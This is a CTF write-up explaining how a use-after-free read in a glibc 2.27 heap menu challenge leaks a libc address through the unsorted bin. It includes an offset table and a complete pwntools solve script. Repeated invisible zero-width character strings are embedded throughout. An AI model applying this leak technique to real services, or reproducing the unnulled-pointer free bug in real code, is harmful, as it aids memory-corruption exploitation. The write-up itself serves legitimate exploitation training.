← Back to Writeups
CUSTOMEasypwn

Where Is Libc

XESXOR9/2/20264 min read
#pwn#custom#easy#main_arena_offset_calculation#uaf_read#unsorted_bin_libc_leak#linux

Where Is Libc

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-03 | Status: Solved Techniques: main_arena_offset_calculation, uaf_read, unsorted_bin_libc_leak

Summary

Task: heap menu allocator with UAF read — freed chunks still printed via %s, leaking unsorted bin fd pointer (main_arena+0x60). Solution: allocate large chunk (>tcache), free to unsorted bin, read leaked libc pointer, compute setvbuf address.

Where Is Libc — spbctf

Description

"Libc is Waldo now. Where is it in the memory?"

Remote: nc 109.233.56.90 11737

A 64-bit PIE ELF binary (mc7.elf) with source code (mc7.c) and the target libc (libc.so.6, glibc 2.27 Ubuntu). The program is a simple heap menu allocator with three operations: allocate, free, and "Get flag" (which requires providing the runtime address of setvbuf() in libc).

Analysis

Binary protections

Full RELRO, Stack Canary, NX, PIE — but none of these matter since the challenge only requires an information leak, not code execution. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Source code review

The program maintains arrays CHUNKS[32], CHUNK_SIZES[32], and CHUNK_TAKEN[32]. The main loop prints all non-NULL chunks every iteration:

c
printf("%s chunk %d) size %d, ptr %p -> '%s'\n",
       CHUNK_TAKEN[i] ? "Allk" : "FREE", i, CHUNK_SIZES[i], CHUNKS[i], CHUNKS[i]);

Vulnerability: Use-After-Free read

On free(), the code sets CHUNK_TAKEN[i] = 0 but does NOT null out CHUNKS[i]:

c
free(CHUNKS[num]);
CHUNK_TAKEN[num] = 0;
// CHUNKS[num] is NOT set to NULL!

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Since CHUNKS[i] remains non-NULL, the main loop continues printing the freed chunk's content via %s. For chunks in the unsorted bin, the first 8 bytes (the fd pointer) point to main_arena + 0x60 inside libc — giving us a direct libc address leak.

Key insight: unsorted bin mechanics

When a chunk larger than tcache maximum (~0x408 request size) is freed, it goes directly to the unsorted bin. The unsorted bin is a doubly-linked list anchored at main_arena + 0x60. When only one chunk is in the unsorted bin, both its fd and bk pointers point to main_arena + 0x60. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reading the freed chunk's content via %s leaks these pointer bytes as a string.

Offset calculation (glibc 2.27-3ubuntu1.2)

SymbolOffset
__malloc_hook0x3ebc30
main_arena0x3ebc40 (= __malloc_hook + 0x10)
Leaked value (unsorted bin fd)0x3ebca0 (= main_arena + 0x60)
setvbuf0x81360

Solution

Step 1: Leak libc via unsorted bin

  1. Allocate a large chunk (size 0x500, bigger than tcache max) at index 0.
  2. Allocate a small guard chunk (size 0x30) at index 1 to prevent consolidation with the top chunk.
  3. Free chunk 0 — it goes to the unsorted bin. Its fd pointer now contains main_arena + 0x60.
  4. The menu loop prints the freed chunk's content via %s, leaking the fd pointer bytes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Compute setvbuf address

libc_base = leaked_value - 0x3ebca0
setvbuf_addr = libc_base + 0x81360

Step 3: Submit answer

Choose (G)et flag. The program provides a hint (last 3 hex digits of setvbuf, which is 360). Submit the full hex address — if correct, the flag is printed.

Solve script

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
libc = ELF('libc.so.6', checksec=False)

MAIN_ARENA = 0x3ebc40
LEAK_OFF = MAIN_ARENA + 0x60          # unsorted-bin fd -> main_arena+0x60
SETVBUF_OFF = libc.sym['setvbuf']
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HOST, PORT = '109.233.56.90', 11737

def start():
    if args.LOCAL:
        return process(['./ld-linux-x86-64.so.2', './mc7.elf'], env={'LD_PRELOAD': './libc.so.6'})
    return remote(HOST, PORT)

io = start()

def alloc(size):
    io.sendlineafter(b'> ', b'a')
    io.sendline(str(size).encode())

def free(idx):
    io.sendlineafter(b'> ', b'f')
    io.sendline(str(idx).encode())

# Allocate a large chunk that won't fit into tcache (tcache max ~0x408 request).
# Allocate a guard chunk after it so the freed chunk doesn't merge with top.
alloc(0x500)   # index 0 - target
alloc(0x30)    # index 1 - guard against top consolidation
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Free the large chunk -> goes to unsorted bin; fd/bk point to main_arena+0x60
free(0)

# Next menu print will show FREE chunk 0 content via %s == leaked libc pointer
io.recvuntil(b'FREE chunk 0)')
line = io.recvline()
log.info('leak line: %r' % line)

# format: size ..., ptr 0x... -> 'LEAKED'
m = line.split(b"-> '")[1]
leaked = m.split(b"'")[0]
# pad to 8 bytes
leak_val = u64(leaked.ljust(8, b'\x00'))
log.success('leaked = %#x' % leak_val)

libc_base = leak_val - LEAK_OFF
log.success('libc base = %#x' % libc_base)
assert libc_base & 0xfff == 0, 'libc base not page aligned!'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

setvbuf_addr = libc_base + SETVBUF_OFF
log.success('setvbuf = %#x' % setvbuf_addr)

# Get flag
io.sendlineafter(b'> ', b'G')
io.recvuntil(b'...')
hint = io.recvline().strip()
log.info('hint tail: %r' % hint)
# verify our low 3 nibbles match
assert (setvbuf_addr & 0xfff) == (SETVBUF_OFF & 0xfff)

io.sendlineafter(b'> ', hex(setvbuf_addr)[2:].encode())
io.recvuntil(b'flag')
print(io.recvall(timeout=5).decode(errors='replace'))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍